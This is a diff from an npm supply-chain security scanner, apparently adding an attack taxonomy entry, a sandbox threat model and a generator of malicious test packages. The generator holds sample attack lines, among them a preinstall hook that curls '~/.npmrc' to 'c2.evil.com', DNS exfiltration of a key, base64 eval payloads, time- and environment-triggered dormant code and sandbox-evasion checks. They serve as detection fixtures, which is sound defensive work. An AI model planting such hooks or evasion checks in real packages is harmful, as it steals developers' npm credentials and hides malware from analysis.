+ ### ATK-010 — Sandbox Evasion / Anti-Analysis
38
+ - **Description:** The package actively probes its execution environment to detect analysis tools. If sandbox is detected, the package suppresses malicious behavior. Common probes: `debugger` statement, `os.hostname()`, `process.argv` inspection for `--inspect`, stack trace capture.
39
+ - **Detection surface:** Static+Dynamic. Static analysis checks for debugger statements, hostname checks, process tree inspection, `navigator`/`document` usage (browser env confusion). Dynamic sandbox uses randomized env and monitors syscalls for sandbox-detection patterns.
40
+ - **Evasion surface:** Indirect probing (measure timing without `performance.now()`), environment fingerprinting through error messages, incremental evasion.
41
+ - **NIST mapping:** SR-10.3 (Anti-Evasion Detection)
42
+ - **Example:** `if (os.hostname().includes('docker')) { process.exit(0) }`
43
+
44
+ ## Governance
45
+
46
+ New ATK requires PR with: PoC sample, detection rule, FP analysis, NIST map. Published at `docs/attack-taxonomy.md`. Referenced in all scan reports.
@@ -0,0 +1,91 @@
1
+ # Sandbox Threat Model — npm-scan Dynamic Analysis
2
+
3
+ ## Overview
4
+
5
+ The dynamic sandbox executes untrusted npm packages in an isolated environment to detect behavioral attacks (ATK-008–010). Escape would compromise the host, so isolation is the highest-priority design constraint.
6
+
7
+ ## Isolation Stack
8
+
9
+ **Primary: gVisor (runsc)**
10
+ - Kernel-level syscall interception without a full VM
11
+ - Docker-compatible, production-hardened by Google
12
+ - Each analysis runs in a separate sandbox container
13
+
14
+ **Fallback: Firecracker microVMs**
15
+ - For highest-assurance / air-gapped environments
16
+ - Slower startup, stronger isolation boundary
17
+
18
+ **Explicitly excluded:**
19
+ - `vm2` — repeated CVEs (CVE-2023-29017, etc.), known escape surface
20
+ - `isolated-vm` — Node-based V8 isolate, insufficient for hostile native code
21
+
22
+ ## Threat Model
23
+
24
+ | Threat | Severity | Mitigation |
25
+ |--------|----------|------------|
26
+ | Syscall escape | Critical | gVisor intercepts all syscalls at kernel boundary; no uncontained syscalls reach host kernel |
27
+ | Network exfiltration during analysis | Critical | Network namespace isolation; egress blocked except to monitored sink/HTTPBun |
28
+ | Filesystem escape | High | Read-only bind mounts; package extracted to ephemeral tmpfs; no persistent mounts |
29
+ | Resource exhaustion (CPU/memory bomb) | Medium | cgroup limits: 1 CPU, 512MB RAM, 30s timeout; SIGKILL on timeout |
30
+ | Sandbox detection by malware | Medium | Randomized env vars, realistic process tree, no obvious sandbox markers in `/proc` |
31
+ | Tarball extraction bomb | Medium | Size limits enforced before extraction (uncompressed cap: 500MB) |
32
+ | Container escape via Docker socket | Critical | Sandbox containers get no Docker socket mount; `--privileged` never used |
33
+ | Filesystem write amplification | Low | tmpfs capped at 512MB; no disk-backed volumes |
34
+
35
+ ## Network Isolation
36
+
37
+ - **Default mode:** Full egress blocked. Container has loopback only.
38
+ - **Monitor mode (opt-in):** Egress allowed through a MITM proxy (HTTPBun/sink) that records all requests for post-analysis review. The malware believes it has network access; actually all traffic is captured.
39
+
40
+ ## Filesystem Layout
41
+
42
+ ```
43
+ /tmp/analysis/{id}/
44
+ ├── package/ # extracted tarball (read-only bind mount)
45
+ ├── run.js # runner script that executes the package
46
+ └── output.json # structured findings after timeout
47
+ ```
48
+
49
+ ## Timeouts and Lifecycle
50
+
51
+ 1. Container starts → package extracted → 30s countdown begins
52
+ 2. Runner runs `npm install && node index.js` (or entry point from package.json)
53
+ 3. All syscalls logged via gVisor's `strace`-style logging
54
+ 4. On timeout (30s): SIGKILL, logs collected, findings generated
55
+ 5. Container destroyed, tmpfs unmounted
56
+
57
+ ## Analysis Pipeline
58
+
59
+ ```
60
+ [fetch tarball] → [verify size < 500MB] → [extract to tmpfs]
61
+ → [gVisor sandbox: execute entry point for 30s]
62
+ → [collect syscall log + file system diffs]
63
+ → [run ATK-008/009/010 behavioral detectors on trace]
64
+ → [merge static + dynamic findings]
65
+ → [cleanup: destroy container, unmount tmpfs]
66
+ ```
67
+
68
+ ## Anti-Sandbox-Evasion (ATK-010)
69
+
70
+ The analyzer checks for behaviors indicating the package probes its environment:
71
+
72
+ - Hostname checks (expects randomized, non-obvious hostnames)
73
+ - `CI` env var detection (sandbox should NOT set CI-like env vars)
74
+ - Timing attacks (`performance.now()`, `process.hrtime()`)
75
+ - Process tree inspection (`process.ppid`, `/proc/self/status`)
76
+ - Stack trace capture (Error().stack inspection)
77
+
78
+ Detection of evasion attempts is itself a high-severity finding.
79
+
80
+ ## Threat Model Review Cadence
81
+
82
+ | Type | Frequency | Owner |
83
+ |------|-----------|-------|
84
+ | Full threat model review | Every major release (quarterly) | Security lead |
85
+ | gVisor CVE monitoring | Continuous (automated alerts) | DevOps |
86
+ | Sandbox escape test | Every PR adding a new ATK detector | CI pipeline |
87
+ | Penetration test | Annual (third-party) | External firm |
88
+
89
+ ---
90
+
91
+ *This document is a living artifact. Update when: gVisor version changes, new ATK entries require dynamic analysis, or a CVSS 7+ CVE affects the isolation stack.*
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@lateos/npm-scan",
3
- "version": "0.2.5",
3
+ "version": "0.3.1",
4
4
  "description": "Powerful npm supply chain security scanner - detects malicious packages (Shai-Hulud style), behavioral analysis, SBOM, and compliance reporting.",
5
5
  "main": "backend/index.js",
6
6
  "bin": {
@@ -34,7 +34,7 @@
34
34
  },
35
35
  "dependencies": {
36
36
  "acorn": "^8.16.0",
37
- "adm-zip": "^0.5.17",
37
+ "better-sqlite3": "^11.10.0",
38
38
  "commander": "^14.0.3",
39
39
  "glob": "^13.0.6",
40
40
  "node-fetch": "^3.3.2",
@@ -7,6 +7,14 @@ const BASE = '/tmp/npm-scan-mal';
7
7
  const MALS = [
8
8
  { name: 'shai-hulud', pkg: { scripts: { preinstall: 'curl -d @~/.npmrc https://c2.evil.com/x' } }, js: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' },
9
9
  { name: 'mal-dns-exfil', pkg: {}, js: 'dns.resolve(key + ".exfil.com", (err, addr) => {})' },
10
+ { name: 'mal-tamper-1', pkg: { name: 'lodash', repository: { url: 'https://github.com/attacker/lodash-mirror.git' } }, js: 'module.exports = { malicious: true }' },
11
+ { name: 'mal-tamper-2', pkg: { name: 'react', repository: { url: 'https://github.com/attacker/react-evil.git' } }, js: '// Source: https://evil.com/react/original.js\nmodule.exports = {}' },
12
+ { name: 'mal-dormant-1', pkg: {}, js: 'if (process.env.NODE_ENV === "production") { eval(atob("Y29uc29sZS5sb2coJ2V2aWwnKQ==")) }' },
13
+ { name: 'mal-dormant-2', pkg: {}, js: 'if (new Date() > new Date("2026-06-01")) { require("./payload.js") }' },
14
+ { name: 'mal-dormant-3', pkg: {}, js: 'if (process.env.CI) { process.exit(0) } else { /* malicious */ require("./exploit.js") }' },
15
+ { name: 'mal-evasion-1', pkg: {}, js: 'if (os.hostname().includes("docker") || os.hostname().includes("sandbox")) { process.exit(0) }' },
16
+ { name: 'mal-evasion-2', pkg: {}, js: 'if (process.argv.join(" ").includes("inspect")) { debugger; /* stop analysis */ }' },
17
+ { name: 'mal-evasion-3', pkg: {}, js: 'try { throw new Error(); } catch(e) { if (e.stack.includes("sandbox")) { process.exit(0) } }' },
10
18
  ];
11
19
 
12
20
  for (const mal of MALS) {
@@ -17,4 +25,8 @@ for (const mal of MALS) {
17
25
  if (mal.js) writeFileSync(join(dir, 'index.js'), mal.js);
18
26
  execSync(`tar czf tests/corpus/malicious/${mal.name}.tgz -C ${BASE} ${mal.name}`);
19
27
  console.log(`OK ${mal.name}`);
20
- }
28
+ }
29
+
30
+ console.log('All mal corpus entries generated.');
31
+ console.log('Total:', MALS.length);
32
+ console.log('New entries: tamper-1, tamper-2, dormant-1, dormant-2, dormant-3, evasion-1, evasion-2, evasion-3');
@@ -1,4 +1,3 @@
1
- import assert from 'assert/strict';
2
1
  import { globSync } from 'glob';
3
2
  import { readFileSync, mkdtempSync } from 'fs';
4
3
  import { execSync } from 'child_process';
@@ -23,18 +22,22 @@ function scanLocalTarball(tarPath) {
23
22
 
24
23
  let cleanFails = 0;
25
24
  let malFails = 0;
25
+ let cleanTotal = 0;
26
+ let malTotal = 0;
26
27
 
27
28
  console.log('--- Clean corpus (remote) ---');
28
29
  for (const pkg of ['lodash', 'chalk', 'react', 'axios', 'express']) {
30
+ cleanTotal++;
29
31
  try {
30
32
  const { pkgJson, jsFiles, tmpDir } = await fetchPackage(pkg);
31
33
  const findings = await runAll(pkgJson, jsFiles);
32
34
  const bad = findings.filter(f => f.severity === 'high' || f.severity === 'critical');
35
+ const badIds = bad.map(f => f.id).join(', ');
33
36
  if (bad.length > 0) {
34
- console.log(` FAIL ${pkg}: ${bad.length} high/crit (${bad.map(f => f.id).join(', ')})`);
37
+ console.log(` FAIL ${pkg}: ${bad.length} high/crit (${badIds})`);
35
38
  cleanFails++;
36
39
  } else {
37
- console.log(` OK ${pkg}`);
40
+ console.log(` OK ${pkg} (no high/crit findings)`);
38
41
  }
39
42
  cleanup(tmpDir);
40
43
  } catch (e) {
@@ -45,11 +48,13 @@ for (const pkg of ['lodash', 'chalk', 'react', 'axios', 'express']) {
45
48
 
46
49
  console.log('--- Malicious corpus (local) ---');
47
50
  const malTars = globSync('tests/corpus/malicious/*.tgz');
51
+ malTotal = malTars.length;
48
52
  for (const tar of malTars) {
49
53
  const name = path.basename(tar, '.tgz');
50
54
  try {
51
55
  const { pkgJson, jsFiles } = scanLocalTarball(tar);
52
56
  const findings = await runAll(pkgJson, jsFiles);
57
+ const ids = findings.map(f => f.id).join(', ');
53
58
  if (findings.length === 0) {
54
59
  console.log(` FAIL ${name}: no findings`);
55
60
  console.log(` scripts: ${JSON.stringify(pkgJson.scripts || {})}`);
@@ -57,7 +62,7 @@ for (const tar of malTars) {
57
62
  console.log(` js files: ${jsFiles.length}`);
58
63
  malFails++;
59
64
  } else {
60
- console.log(` OK ${name}: ${findings.length} findings (${findings.map(f => f.id).join(', ')})`);
65
+ console.log(` OK ${name}: ${ids}`);
61
66
  }
62
67
  } catch (e) {
63
68
  console.log(` ERR ${name}: ${e.message}`);
@@ -65,15 +70,24 @@ for (const tar of malTars) {
65
70
  }
66
71
  }
67
72
 
68
- const fpRate = (cleanFails / 5 * 100).toFixed(1);
69
- const malDetectRate = ((malTars.length - malFails) / malTars.length * 100).toFixed(1);
73
+ const fpRate = cleanTotal > 0 ? (cleanFails / cleanTotal * 100).toFixed(1) : 'N/A';
74
+ const malDetectRate = malTotal > 0 ? ((malTotal - malFails) / malTotal * 100).toFixed(1) : 'N/A';
70
75
  console.log(`\n=== Corpus Results ===`);
71
- console.log(`Clean FP rate: ${fpRate}% (${cleanFails}/5 high/crit)`);
72
- console.log(`Mal detect rate: ${malDetectRate}% (${malTars.length - malFails}/${malTars.length})`);
76
+ console.log(`Clean packages: ${cleanTotal}, Malicious samples: ${malTotal}`);
77
+ console.log(`Clean FP rate: ${fpRate}% (${cleanFails}/${cleanTotal} high/crit)`);
78
+ console.log(`Mal detect rate: ${malDetectRate}% (${malTotal - malFails}/${malTotal})`);
73
79
 
74
- if (Number(fpRate) >= 2) {
80
+ let exitCode = 0;
81
+ if (fpRate !== 'N/A' && Number(fpRate) >= 2) {
75
82
  console.log(`FP <2% : FAIL (${fpRate}% exceeds 2%)`);
76
- process.exit(1);
83
+ exitCode = 1;
84
+ } else {
85
+ console.log('FP <2% : PASS');
77
86
  }
78
- console.log('FP <2% : PASS');
79
- console.log('Test corpus FP <2% PASS');
87
+ if (malDetectRate !== 'N/A' && Number(malDetectRate) < 100) {
88
+ console.log(`Mal 100% : FAIL (${malDetectRate}%)`);
89
+ exitCode = 1;
90
+ } else {
91
+ console.log('Mal 100% : PASS');
92
+ }
93
+ process.exit(exitCode);